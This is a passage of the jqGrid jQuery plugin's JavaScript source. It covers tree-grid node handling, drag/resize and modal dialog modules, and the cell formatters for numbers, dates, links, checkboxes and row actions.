rc1.rowIndex - 1 : 1; $(this).jqGrid('delRowData', id); } if(this.p.treeGridModel === 'nested') { $(this).jqGrid("setGridParam",{postData:{nodeid:id,n_left:rc[lft],n_right:rc[rgt],n_level:rc[level]}}); } else { $(this).jqGrid("setGridParam",{postData:{nodeid:id,parentid:rc[parent],n_level:rc[level]}} ); } $(this).trigger("reloadGrid"); rc[loaded] = true; if(this.p.treeGridModel === 'nested') { $(this).jqGrid("setGridParam",{selrow: currselection, postData:{nodeid:'',n_left:'',n_right:'',n_level:''}}); } else { $(this).jqGrid("setGridParam",{selrow: currselection, postData:{nodeid:'',parentid:'',n_level:''}}); } }); }, expandNode : function(rc) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var $t = this, expanded = this.p.treeReader.expanded_field, parent = this.p.treeReader.parent_id_field, loaded = this.p.treeReader.loaded, level = this.p.treeReader.level_field, lft = this.p.treeReader.left_field, rgt = this.p.treeReader.right_field; if(!rc[expanded]) { var id = $.jgrid.getAccessor(rc,this.p.localReader.id), rc1 = $("#" + this.p.idPrefix + $.jgrid.jqID(id),this.grid.bDiv)[0], position = this.p._index[id], ret = $($t).triggerHandler("jqGridBeforeExpandTreeGridNode", [id, rc]); if(ret === undefined ) { ret = true; } if( ret && $.jgrid.isFunction(this.p.beforeExpandTreeGridNode) ) { ret = this.p.beforeExpandTreeGridNode.call(this, id, rc ); } if( ret === false ) { return; } if( $(this).jqGrid("isNodeLoaded",this.p.data[position]) ) { rc[expanded] = true; $("div.treeclick",rc1).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"); } else if (!this.grid.hDiv.loading) { rc[expanded] = true; $("div.treeclick",rc1).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"); this.p.treeANode = rc1.rowIndex; this.p.datatype = this.p.treedatatype; if(this.p.treeGridModel === 'nested') { $(this).jqGrid("setGridParam",{postData:{nodeid:id,n_left:rc[lft],n_right:rc[rgt],n_level:rc[level]}}); } else { $(this).jqGrid("setGridParam",{postData:{nodeid:id,parentid:rc[parent],n_level:rc[level]}} ); } $(this).trigger("reloadGrid"); rc[loaded] = true; if(this.p.treeGridModel === 'nested') { $(this).jqGrid("setGridParam",{postData:{nodeid:'',n_left:'',n_right:'',n_level:''}}); } else { $(this).jqGrid("setGridParam",{postData:{nodeid:'',parentid:'',n_level:''}}); } } $($t).triggerHandler("jqGridAfterExpandTreeGridNode", [id, rc]); if($.jgrid.isFunction(this.p.afterExpandTreeGridNode)) { this.p.afterExpandTreeGridNode.call(this, id, rc ); } } }); }, collapseNode : function(rc) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var expanded = this.p.treeReader.expanded_field, $t = this; if(rc[expanded]) { var id = $.jgrid.getAccessor(rc,this.p.localReader.id), rc1 = $("#" + this.p.idPrefix + $.jgrid.jqID(id),this.grid.bDiv)[0], ret = $($t).triggerHandler("jqGridBeforeCollapseTreeGridNode", [id, rc]); if(ret === undefined ) { ret = true; } if( ret && $.jgrid.isFunction(this.p.beforeCollapseTreeGridNode) ) { ret = this.p.beforeCollapseTreeGridNode.call(this, id, rc ); } rc[expanded] = false; if( ret === false ) { return; } $("div.treeclick",rc1).removeClass(this.p.treeIcons.minus+" tree-minus").addClass(this.p.treeIcons.plus+" tree-plus"); $($t).triggerHandler("jqGridAfterCollapseTreeGridNode", [id, rc]); if($.jgrid.isFunction(this.p.afterCollapseTreeGridNode)) { this.p.afterCollapseTreeGridNode.call(this, id, rc ); } } }); }, SortTree : function( sortname, newDir, st, datefmt) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var i, len, rec, records = [], $t = this, query, roots, rt = $(this).jqGrid("getRootNodes", $t.p.search); // Sorting roots query = $.jgrid.from.call(this, rt); // sort tree by node type if( Boolean($t.p.sortTreeByNodeType)) { var ord = ($t.p.sortTreeNodeOrder && $t.p.sortTreeNodeOrder.toLowerCase() === 'desc') ? 'd' : 'a'; query.orderBy($t.p.treeReader.leaf_field, ord, st, datefmt); } query.orderBy(sortname, newDir, st, datefmt); roots = query.select(); // Sorting children for (i = 0, len = roots.length; i < len; i++) { rec = roots[i]; records.push(rec); $(this).jqGrid("collectChildrenSortTree",records, rec, sortname, newDir, st, datefmt); } var ids = $(this).jqGrid("getDataIDs"), j=1; $.each(records, function(index) { var id = $.jgrid.getAccessor(this, $t.p.localReader.id); if($.inArray(id, ids) !== -1) { $('#'+$.jgrid.jqID($t.p.id)+ ' tbody tr').eq( j ).after($('#'+$.jgrid.jqID($t.p.id)+' tbody tr#'+$.jgrid.jqID(id))); j++; } }); query = null;roots=null;records=null; }); }, searchTree : function ( recs ) { var n = recs.length || 0, ancestors=[], lid, roots=[], result=[],tid, alen, rlen, j, k, i; this.each(function(){ if(!this.grid || !this.p.treeGrid) { return; } if(n) { lid = this.p.localReader.id; //while( i-- ) { // reverse for( i=0; i<n; i++ ) { ancestors = $(this).jqGrid('getNodeAncestors', recs[i], true, true); //add the searched item if( Boolean(this.p.FullTreeSearchResult) ) { var fnode = $(this).jqGrid('getFullTreeNode', recs[i], true); ancestors = ancestors.concat(fnode); } else { ancestors.push(recs[i]); } tid = ancestors[0][lid]; if($.inArray(tid, roots ) !== -1) { // ignore repeated, but add missing for( j = 0, alen = ancestors.length; j < alen; j++) { //$.inArray ?!? var found = false; for( k=0, rlen = result.length; k < rlen; k++) { if(ancestors[j][lid] === result[k][lid]) { found = true; break; } } if(!found) { result.push(ancestors[j]); } } continue; } else { roots.push( tid ); } result = result.concat( ancestors ); } } }); return result; }, collectChildrenSortTree : function(records, rec, sortname, newDir,st, datefmt) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var i, len, child, ch, query, children; ch = $(this).jqGrid("getNodeChildren",rec, this.p.search); query = $.jgrid.from.call(this, ch); query.orderBy(sortname, newDir, st, datefmt); children = query.select(); for (i = 0, len = children.length; i < len; i++) { child = children[i]; records.push(child); $(this).jqGrid("collectChildrenSortTree",records, child, sortname, newDir, st, datefmt); } }); }, // experimental setTreeRow : function(rowid, data) { var success=false; this.each(function(){ var t = this; if(!t.grid || !t.p.treeGrid) {return;} success = $(t).jqGrid("setRowData", rowid, data); }); return success; }, delTreeNode : function (rowid, reload) { return this.each(function () { var $t = this, rid = $t.p.localReader.id, i, left = $t.p.treeReader.left_field, parent, right = $t.p.treeReader.right_field, myright, width, res, key; if(!$t.grid || !$t.p.treeGrid) {return;} rowid = $.jgrid.stripPref($t.p.idPrefix, rowid); var rc = $t.p._index[rowid]; if(typeof reload === undefined) { reload = false; } if(reload) { parent = $(this).jqGrid("getNodeParent",$t.p.data[rc]); } if (rc !== undefined) { // nested myright = parseInt($t.p.data[rc][right],10); width = myright - parseInt($t.p.data[rc][left],10) + 1; var dr = $($t).jqGrid("getFullTreeNode",$t.p.data[rc]); if(dr.length>0){ for (i=0;i<dr.length;i++){ $($t).jqGrid("delRowData", $t.p.idPrefix + dr[i][rid]); } } if( $t.p.treeGridModel === "nested") { // ToDo - update grid data res = $.jgrid.from.call($t, $t.p.data) .greater(left,myright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][left] = parseInt(res[key][left],10) - width ; } } } res = $.jgrid.from.call($t, $t.p.data) .greater(right,myright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][right] = parseInt(res[key][right],10) - width ; } } } } if(reload) { var isLeaf = this.p.treeReader.leaf_field; var chld = $(this).jqGrid('getNodeChildren', parent); if(parent[isLeaf] && chld.length) { $(this).jqGrid('setLeaf', parent, false); } else if(!rc[isLeaf] && chld.length === 0) { $(this).jqGrid('setLeaf', parent, true); } } } }); }, delChildren : function (rowid) { return this.each(function () { var $t = this, rid = $t.p.localReader.id, left = $t.p.treeReader.left_field, right = $t.p.treeReader.right_field, myright, width, res, key; if(!$t.grid || !$t.p.treeGrid) {return;} rowid = $.jgrid.stripPref($t.p.idPrefix, rowid); var rc = $t.p._index[rowid]; if (rc !== undefined) { // nested myright = parseInt($t.p.data[rc][right],10); width = myright - parseInt($t.p.data[rc][left],10) + 1; var dr = $($t).jqGrid("getFullTreeNode",$t.p.data[rc]); if(dr.length>0){ for (var i=0;i<dr.length;i++){ if(dr[i][rid] !== rowid) $($t).jqGrid("delRowData", $t.p.idPrefix + dr[i][rid]); } } if( $t.p.treeGridModel === "nested") { // ToDo - update grid data res = $.jgrid.from($t.p.data) .greater(left,myright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][left] = parseInt(res[key][left],10) - width ; } } } res = $.jgrid.from($t.p.data) .greater(right,myright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][right] = parseInt(res[key][right],10) - width ; } } } } } }); }, addChildNode : function( nodeid, parentid, data, expandData ) { //return this.each(function(){ var $t = this[0]; if(data) { // we suppose tha the id is autoincremet and var expanded = $t.p.treeReader.expanded_field, isLeaf = $t.p.treeReader.leaf_field, level = $t.p.treeReader.level_field, //icon = $t.p.treeReader.icon_field, parent = $t.p.treeReader.parent_id_field, left = $t.p.treeReader.left_field, right = $t.p.treeReader.right_field, loaded = $t.p.treeReader.loaded, method, parentindex, parentdata, parentlevel, i, len, max=0, rowind = parentid, leaf, maxright; if(expandData===undefined) {expandData = false;} if ( nodeid == null ) { i = $t.p.data.length-1; if( i>= 0 ) { while(i>=0){max = Math.max(max, parseInt($t.p.data[i][$t.p.localReader.id],10)); i--;} } nodeid = max+1; } var prow = $($t).jqGrid('getInd', parentid); leaf = false; // if not a parent we assume root if ( parentid === undefined || parentid === null || parentid==="") { parentid = null; rowind = null; method = 'last'; parentlevel = $t.p.tree_root_level; i = $t.p.data.length+1; } else { method = 'after'; var mid = $.jgrid.stripPref($t.p.idPrefix, parentid); parentindex = $t.p._index[mid]; parentdata = $t.p.data[parentindex]; parentid = parentdata[$t.p.localReader.id]; parentlevel = parseInt(parentdata[level],10)+1; var childs = $($t).jqGrid('getFullTreeNode', parentdata); // if there are child nodes get the last index of it if(childs.length) { i = childs[childs.length-1][$t.p.localReader.id]; rowind = i; i = $($t).jqGrid('getInd', $t.p.idPrefix + rowind); } else { i = $($t).jqGrid('getInd', $t.p.idPrefix + parentid); } // if the node is leaf if(parentdata[isLeaf]) { leaf = true; parentdata[expanded] = true; //var prow = $($t).jqGrid('getInd', parentid); $($t.rows[prow]) .find("span.cell-wrapperleaf").removeClass("cell-wrapperleaf").addClass("cell-wrapper") .end() .find("div.tree-leaf").removeClass($t.p.treeIcons.leaf+" tree-leaf").addClass($t.p.treeIcons.minus+" tree-minus"); $t.p.data[parentindex][isLeaf] = false; parentdata[loaded] = true; } // incremet th index of child to be inserted if( i === false ) { throw "Parent item with id: " + rowind + " ("+ parentid+") can't be found"; //return; } else { i++; } } len = i+1; if( data[expanded]===undefined) {data[expanded]= false;} if( data[loaded]===undefined ) { data[loaded] = false;} data[level] = parentlevel; if( data[isLeaf]===undefined) {data[isLeaf]= true;} if( $t.p.treeGridModel === "adjacency") { data[parent] = parentid; } if( $t.p.treeGridModel === "nested") { // this method requiere more attention var query, res, key; //maxright = parseInt(maxright,10); // ToDo - update grid data if(parentid !== null) { maxright = parseInt(parentdata[right],10); query = $.jgrid.from.call($t, $t.p.data); query = query.greaterOrEquals(right,maxright,{stype:'integer'}); res = query.select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][left] = res[key][left] > maxright ? parseInt(res[key][left],10) +2 : res[key][left]; res[key][right] = res[key][right] >= maxright ? parseInt(res[key][right],10) +2 : res[key][right]; } } } data[left] = maxright; data[right]= maxright+1; } else { maxright = parseInt( $($t).jqGrid('getCol', right, false, 'max'), 10); res = $.jgrid.from.call($t, $t.p.data) .greater(left,maxright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][left] = parseInt(res[key][left],10) +2 ; } } } res = $.jgrid.from.call($t, $t.p.data) .greater(right,maxright,{stype:'integer'}) .select(); if(res.length) { for( key in res) { if(res.hasOwnProperty(key)) { res[key][right] = parseInt(res[key][right],10) +2 ; } } } data[left] = maxright+1; data[right] = maxright + 2; } } if( parentid === null || $($t).jqGrid("isNodeLoaded",parentdata) || leaf ) { $($t).jqGrid('addRowData', nodeid, data, method, $t.p.idPrefix + rowind); $($t).jqGrid('setTreeNode', i, len); } if(parentdata && !parentdata[expanded] && expandData) { $($t.rows[prow]) .find("div.treeclick") .click(); } } //}); } }); //module begin $.fn.jqDrag=function(h){return i(this,h,'d');}; $.fn.jqResize=function(h,ar){return i(this,h,'r',ar);}; $.jqDnR={ dnr:{}, e:0, drag:function(v){ if(M.k == 'd'){E.css({left:M.X+v.pageX-M.pX,top:M.Y+v.pageY-M.pY});} else { E.css({width:Math.max(v.pageX-M.pX+M.W,0),height:Math.max(v.pageY-M.pY+M.H,0)}); if(M1){E1.css({width:Math.max(v.pageX-M1.pX+M1.W,0),height:Math.max(v.pageY-M1.pY+M1.H,0)});} } return false; }, stop:function(){ //E.css('opacity',M.o); $(document).off('mousemove',J.drag).off('mouseup',J.stop); } }; var J=$.jqDnR,M=J.dnr,E=J.e,E1,M1, i=function(e,h,k,aR){ return e.each(function(){ h=(h)?$(h,e):e; h.on('mousedown',{e:e,k:k},function(v){ var d=v.data,p={};E=d.e;E1 = aR ? $(aR) : false; // attempt utilization of dimensions plugin to fix IE issues if(E.css('position') != 'relative'){try{E.position(p);}catch(e){}} M={ X:p.left||f('left')||0, Y:p.top||f('top')||0, W:f('width')||E[0].scrollWidth||0, H:f('height')||E[0].scrollHeight||0, pX:v.pageX, pY:v.pageY, k:d.k //o:E.css('opacity') }; // also resize if(E1 && d.k != 'd'){ M1={ X:p.left||f1('left')||0, Y:p.top||f1('top')||0, W:E1[0].offsetWidth||f1('width')||0, H:E1[0].offsetHeight||f1('height')||0, pX:v.pageX, pY:v.pageY, k:d.k }; } else {M1 = false;} //E.css({opacity:0.8}); if($("input.hasDatepicker",E[0])[0]) { try {$("input.hasDatepicker",E[0]).datepicker('hide');}catch (dpe){} } $(document).mousemove($.jqDnR.drag).mouseup($.jqDnR.stop); return false; }); }); }, f=function(k){return parseInt(E.css(k),10)||false;}, f1=function(k){return parseInt(E1.css(k),10)||false;}; /* jQuery tinyDraggable v1.0.2 Copyright (c) 2014 Simon Steinberger / Pixabay GitHub: https://github.com/Pixabay/jQuery-tinyDraggable More info: https://pixabay.com/blog/posts/p-52/ License: http://www.opensource.org/licenses/mit-license.php */ $.fn.tinyDraggable = function(options){ var settings = $.extend({ handle: 0, exclude: 0 }, options); return this.each(function(){ var dx, dy, el = $(this), handle = settings.handle ? $(settings.handle, el) : el; handle.on({ mousedown: function(e){ if (settings.exclude && ~$.inArray(e.target, $(settings.exclude, el))) { return; } e.preventDefault(); var os = el.offset(); dx = e.pageX-os.left, dy = e.pageY-os.top; $(document).on('mousemove.drag', function(e){ el.offset({top: e.pageY-dy, left: e.pageX-dx}); }); }, mouseup: function(e){ $(document).off('mousemove.drag'); } }); }); }; //module begin $.fn.jqm=function(o){ var p={ overlay: 50, closeoverlay : true, overlayClass: 'jqmOverlay', closeClass: 'jqmClose', trigger: '.jqModal', ajax: F, ajaxText: '', target: F, modal: F, toTop: F, onShow: F, onHide: F, onLoad: F }; return this.each(function(){if(this._jqm){ return H[this._jqm].c=$.extend({},H[this._jqm].c,o);} s++;this._jqm=s; H[s]={c:$.extend(p,$.jqm.params,o),a:F,w:$(this).addClass('jqmID'+s),s:s}; if(p.trigger){$(this).jqmAddTrigger(p.trigger);} });}; $.fn.jqmAddClose=function(e){return hs(this,e,'jqmHide');}; $.fn.jqmAddTrigger=function(e){return hs(this,e,'jqmShow');}; $.fn.jqmShow=function(t){return this.each(function(){$.jqm.open(this._jqm,t);});}; $.fn.jqmHide=function(t){return this.each(function(){$.jqm.close(this._jqm,t);});}; $.jqm = { hash:{}, open:function(s,t){var h=H[s],c=h.c,cc='.'+c.closeClass,z=(parseInt(h.w.css('z-index')));z=(z>0)?z:3000;var o=$('<div></div>').css({height:'100%',width:'100%',position:'fixed',left:0,top:0,'z-index':z-1,opacity:c.overlay/100});if(h.a){return F;} h.t=t;h.a=true;h.w.css('z-index',z); if(c.modal) {if(!A[0]){setTimeout(function(){ new L('bind');},1); }A.push(s);} else if(c.overlay > 0) {if(c.closeoverlay) {h.w.jqmAddClose(o);}} else {o=F;} h.o=(o)?o.addClass(c.overlayClass).prependTo('body'):F; if(c.ajax) {var r=c.target||h.w,u=c.ajax;r=(typeof r === 'string')?$(r,h.w):$(r);u=(u.substr(0,1) === '@')?$(t).attr(u.substring(1)):u; r.html(c.ajaxText).load(u,function(){if(c.onLoad){c.onLoad.call(this,h);}if(cc){h.w.jqmAddClose($(cc,h.w));}e(h);});} else if(cc){h.w.jqmAddClose($(cc,h.w));} if(c.toTop&&h.o){h.w.before('<span id="jqmP'+h.w[0]._jqm+'"></span>').insertAfter(h.o);} (c.onShow)?c.onShow(h):h.w.show();e(h);return F; }, close:function(s){var h=H[s];if(!h.a){return F;}h.a=F; if(A[0]){A.pop();if(!A[0]){new L('unbind');}} if(h.c.toTop&&h.o){$('#jqmP'+h.w[0]._jqm).after(h.w).remove();} if(h.c.onHide){h.c.onHide(h);}else{h.w.hide();if(h.o){h.o.remove();}} return F; }, params:{}}; var s=0,H=$.jqm.hash,A=[],F=false, e=function(h){ if(h.c.focusField===undefined) {h.c.focusField = 0;}if(h.c.focusField >=0 ) {f(h);} }, f=function(h){try{$(':input:visible',h.w)[parseInt(h.c.focusField,10)].focus(); }catch(_){}}, L=function(t){$(document)[t]("keypress",m)[t]("keydown",m)[t]("mousedown",m);}, m=function(e){var h=H[A[A.length-1]],r=(!$(e.target).parents('.jqmID'+h.s)[0]);if(r){$('.jqmID'+h.s).each(function(){var $self=$(this),offset=$self.offset();if(offset.top<=e.pageY && e.pageY<=offset.top+$self.height() && offset.left<=e.pageX && e.pageX<=offset.left+$self.width() ){r=false;return false;}});/*f(h);*/}return !r;}, hs=function(w,t,c){return w.each(function(){var s=this._jqm;$(t).each(function() { if(!this[c]){this[c]=[];$(this).click(function(){for(var i in {jqmShow:1,jqmHide:1}){for(var s in this[i]){if(H[this[i][s]]){H[this[i][s]].w[i](this);}}}return F;});} this[c].push(s);});});}; //module begin $.fmatter = {}; //opts can be id:row id for the row, rowdata:the data for the row, colmodel:the column model for this column //example {id:1234,} $.extend($.fmatter,{ isBoolean : function(o) { return typeof o === 'boolean'; }, isObject : function(o) { return (o && (typeof o === 'object' || $.jgrid.isFunction(o))) || false; }, isString : function(o) { return typeof o === 'string'; }, isNumber : function(o) { return typeof o === 'number' && isFinite(o); }, isValue : function (o) { return (this.isObject(o) || this.isString(o) || this.isNumber(o) || this.isBoolean(o)); }, isEmpty : function(o) { if(!this.isString(o) && this.isValue(o)) { return false; } if (!this.isValue(o)){ return true; } o = $.jgrid.trim(o).replace(/\ \;/ig,'').replace(/\ \;/ig,''); return o===""; } }); $.fn.fmatter = function(formatType, cellval, opts, rwd, act) { // build main options before element iteration var v=cellval; opts = $.extend({}, $.jgrid.getRegional(this, 'formatter') , opts); try { v = $.fn.fmatter[formatType].call(this, cellval, opts, rwd, act); } catch(fe){} return v; }; $.fmatter.util = { // Taken from YAHOO utils NumberFormat : function(nData,opts) { if(!$.fmatter.isNumber(nData)) { nData *= 1; } if($.fmatter.isNumber(nData)) { var bNegative = (nData < 0); var sOutput = String(nData); var sDecimalSeparator = opts.decimalSeparator || "."; var nDotIndex; if($.fmatter.isNumber(opts.decimalPlaces)) { // Round to the correct decimal place var nDecimalPlaces = opts.decimalPlaces; //var nDecimal = Math.pow(10, nDecimalPlaces); //sOutput = String(Math.round(nData*nDecimal)/nDecimal); // see http://www.jacklmoore.com/notes/rounding-in-javascript/ sOutput = String(Number(Math.round(nData+'e'+nDecimalPlaces)+'e-'+nDecimalPlaces)); nDotIndex = sOutput.lastIndexOf("."); if(nDecimalPlaces > 0) { // Add the decimal separator if(nDotIndex < 0) { sOutput += sDecimalSeparator; nDotIndex = sOutput.length-1; } // Replace the "." else if(sDecimalSeparator !== "."){ sOutput = sOutput.replace(".",sDecimalSeparator); } // Add missing zeros while((sOutput.length - 1 - nDotIndex) < nDecimalPlaces) { sOutput += "0"; } } } if(opts.thousandsSeparator) { var sThousandsSeparator = opts.thousandsSeparator; nDotIndex = sOutput.lastIndexOf(sDecimalSeparator); nDotIndex = (nDotIndex > -1) ? nDotIndex : sOutput.length; var sNewOutput = sOutput.substring(nDotIndex); var nCount = -1, i; for (i=nDotIndex; i>0; i--) { nCount++; if ((nCount%3 === 0) && (i !== nDotIndex) && (!bNegative || (i > 1))) { sNewOutput = sThousandsSeparator + sNewOutput; } sNewOutput = sOutput.charAt(i-1) + sNewOutput; } sOutput = sNewOutput; } // Prepend prefix sOutput = (opts.prefix) ? opts.prefix + sOutput : sOutput; // Append suffix sOutput = (opts.suffix) ? sOutput + opts.suffix : sOutput; return sOutput; } return nData; } }; $.fn.fmatter.defaultFormat = function(cellval, opts) { return ($.fmatter.isValue(cellval) && cellval!=="" ) ? cellval : opts.defaultValue || " "; }; $.fn.fmatter.email = function(cellval, opts) { if(!$.fmatter.isEmpty(cellval)) { return "<a href=\"mailto:" + cellval + "\">" + cellval + "</a>"; } return $.fn.fmatter.defaultFormat(cellval,opts ); }; $.fn.fmatter.checkbox =function(cval, opts) { var op = $.extend({},opts.checkbox), ds, checkboxVal, valtrue, valfalse, lang = Object.keys($.jgrid.regional)[0], title; if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if(op.disabled===true) {ds = "disabled=\"disabled\"";} else {ds="";} if($.fmatter.isEmpty(cval) || cval === undefined ) {cval = $.fn.fmatter.defaultFormat(cval,op);} cval=String(cval); cval=(cval+"").toLowerCase(); var bchk = cval.search(/(false|f|0|no|n|off|undefined)/i)<0 ? " checked='checked' " : ""; checkboxVal = $.jgrid.regional[lang].defaults.valueCheckbox; valtrue= $.jgrid.regional[lang].defaults.valT; valfalse= $.jgrid.regional[lang].defaults.valF; if((checkboxVal !== undefined) && (cval==="true")) { title = checkboxVal + " " + valtrue; } else if (checkboxVal !== undefined && cval==="false") { title = checkboxVal+ " " + valfalse; } else { title = cval; } return "<input title=\""+title+"\" type=\"checkbox\" " + bchk + " value=\""+ cval+"\" offval=\"no\" "+ds+ "/>"; }; $.fn.fmatter.link = function(cellval, opts) { var op = {target:opts.target}; var target = ""; if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if(op.target) {target = 'target=' + op.target;} if(!$.fmatter.isEmpty(cellval)) { return "<a "+target+" href=\"" + cellval + "\">" + cellval + "</a>"; } return $.fn.fmatter.defaultFormat(cellval,opts); }; $.fn.fmatter.showlink = function(cellval, opts) { var op = {baseLinkUrl: opts.baseLinkUrl,showAction:opts.showAction, addParam: opts.addParam || "", target: opts.target, idName: opts.idName}, target = "", idUrl; if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if(op.target) {target = 'target=' + op.target;} idUrl = op.baseLinkUrl+op.showAction + '?'+ op.idName+'='+opts.rowId+op.addParam; if($.fmatter.isString(cellval) || $.fmatter.isNumber(cellval)) { //add this one even if its blank string return "<a "+target+" href=\"" + idUrl + "\">" + cellval + "</a>"; } return $.fn.fmatter.defaultFormat(cellval,opts); }; $.fn.fmatter.integer = function(cellval, opts) { var op = $.extend({},opts.integer); if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if($.fmatter.isEmpty(cellval)) { return op.defaultValue; } return $.fmatter.util.NumberFormat(cellval,op); }; $.fn.fmatter.number = function (cellval, opts) { var op = $.extend({},opts.number); if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if($.fmatter.isEmpty(cellval)) { return op.defaultValue; } return $.fmatter.util.NumberFormat(cellval,op); }; $.fn.fmatter.currency = function (cellval, opts) { var op = $.extend({},opts.currency); if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if($.fmatter.isEmpty(cellval)) { return op.defaultValue; } return $.fmatter.util.NumberFormat(cellval,op); }; $.fn.fmatter.date = function (cellval, opts, rwd, act) { var op = $.extend({},opts.date); if(opts.colModel !== undefined && opts.colModel.formatoptions !== undefined) { op = $.extend({},op,opts.colModel.formatoptions); } if(!op.reformatAfterEdit && act === 'edit'){ return $.fn.fmatter.defaultFormat(cellval, opts); } if(!$.fmatter.isEmpty(cellval)) { return $.jgrid.parseDate.call(this, op.srcformat,cellval,op.newformat,op); } return $.fn.fmatter.defaultFormat(cellval, opts); }; $.fn.fmatter.select = function (cellval,opts) { // jqGrid specific cellval = String(cellval); var oSelect = false, ret=[], sep, delim; if(opts.colModel.formatoptions !== undefined){ oSelect= opts.colModel.formatoptions.value; sep = opts.colModel.formatoptions.separator === undefined ? ":" : opts.colModel.formatoptions.separator; delim = opts.colModel.formatoptions.delimiter === undefined ? ";" : opts.colModel.formatoptions.delimiter; } else if(opts.colModel.editoptions !== undefined){ oSelect= opts.colModel.editoptions.value; sep = opts.colModel.editoptions.separator === undefined ? ":" : opts.colModel.editoptions.separator; delim = opts.colModel.editoptions.delimiter === undefined ? ";" : opts.colModel.editoptions.delimiter; } if (oSelect) { var msl = (opts.colModel.editoptions != null && opts.colModel.editoptions.multiple === true) === true ? true : false, scell = [], sv; if(msl) {scell = cellval.split(",");scell = $.map(scell,function(n){return $.jgrid.trim(n);});} if ($.fmatter.isString(oSelect)) { // mybe here we can use some caching with care ???? var so = oSelect.split(delim), j=0, i; for(i=0; i<so.length;i++){ sv = so[i].split(sep); if(sv.length > 2 ) { sv[1] = $.map(sv,function(n,i){if(i>0) {return n;}}).join(sep); } if(msl) { if($.inArray(sv[0],scell)>-1) { ret[j] = sv[1]; j++; } } else if($.jgrid.trim(sv[0]) === $.jgrid.trim(cellval)) { ret[0] = sv[1]; break; } } } else if($.fmatter.isObject(oSelect)) { // this is quicker if(msl) { ret = $.map(scell, function(n){ return oSelect[n]; }); } else { ret[0] = oSelect[cellval] || ""; } } } cellval = ret.join(", "); return cellval === "" ? $.fn.fmatter.defaultFormat(cellval,opts) : cellval; }; $.fn.fmatter.rowactions = function(act) { var $tr = $(this).closest("tr.jqgrow"), rid = $tr.attr("id"), $id = $(this).closest("table.ui-jqgrid-btable").attr('id').replace(/_frozen([^_]*)$/,'$1'), $grid = $("#"+$id), $t = $grid[0], p = $t.p, cm = p.colModel[$.jgrid.getCellIndex(this)], $actionsDiv = cm.frozen ? $("tr#"+rid+" td", $grid).eq( $.jgrid.getCellIndex(this) ).find("> div") :$(this).parent(), op = { extraparam: {} }, saverow = function(rowid, res) { if($.jgrid.isFunction(op.afterSave)) { op.afterSave.call($t, rowid, res); } $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").show(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").hide(); }, restorerow = function(rowid) { if($.jgrid.isFunction(op.afterRestore)) { op.afterRestore.call($t, rowid); } $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").show(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").hide(); }; if (cm.formatoptions !== undefined) { // Deep clone before copying over to op, to avoid creating unintentional references. // Otherwise, the assignment of op.extraparam[p.prmNames.oper] below may persist into the colModel config. var formatoptionsClone = $.extend(true, {}, cm.formatoptions); op = $.extend(op, formatoptionsClone); } if (p.editOptions !== undefined) { op.editOptions = p.editOptions; } if (p.delOptions !== undefined) { op.delOptions = p.delOptions; } if ($tr.hasClass("jqgrid-new-row")){ op.extraparam[p.prmNames.oper] = p.prmNames.addoper; } var actop = { keys: op.keys, oneditfunc: op.onEdit, successfunc: op.onSuccess, url: op.url, extraparam: op.extraparam, aftersavefunc: saverow, errorfunc: op.onError, afterrestorefunc: restorerow, restoreAfterError: op.restoreAfterError, mtype: op.mtype }; switch(act) { case 'edit': $grid.jqGrid('editRow', rid, actop); if($grid[0].p.beforeAction) { $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").hide(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").show(); $grid.triggerHandler("jqGridAfterGridComplete"); } break; case 'save': if ($grid.jqGrid('saveRow', rid, actop)) { $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").show(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").hide(); $grid.triggerHandler("jqGridAfterGridComplete"); } break; case 'cancel' : $grid.jqGrid('restoreRow', rid, restorerow); $actionsDiv.find("div.ui-inline-edit,div.ui-inline-del").show(); $actionsDiv.find("div.ui-inline-save,div.ui-inline-cancel").hide(); $grid.triggerHandler("jqGridAfterGridComplete"); break; case 'del': $grid.jqGrid('delGridRow', rid, op.delOptions); break; case 'formedit': $grid.jqGrid('setSelection', rid); $grid.jqGrid('editGridRow', rid, op.editOptions); break; } }; $.fn.fmatter.actions = function(cellval,opts) { var op={keys:false, editbutton:true, delbutton:true, editformbutton: false}, rowid=opts.rowId, str="",ocl, nav = $.jgrid.getRegional(this, 'nav'), classes = $.jgrid.styleUI[(opts.styleUI || 'jQueryUI')].fmatter, common = $.jgrid.styleUI[(opts.styleUI || 'jQueryUI')].common; if(opts.colModel.formatoptions !== undefined) { op = $.extend(op,opts.colModel.formatoptions); } if(rowid === undefined || $.fmatter.isEmpty(rowid)) {return "";} var hover = "onmouseover=jQuery(this).addClass('" + common.hover +"'); 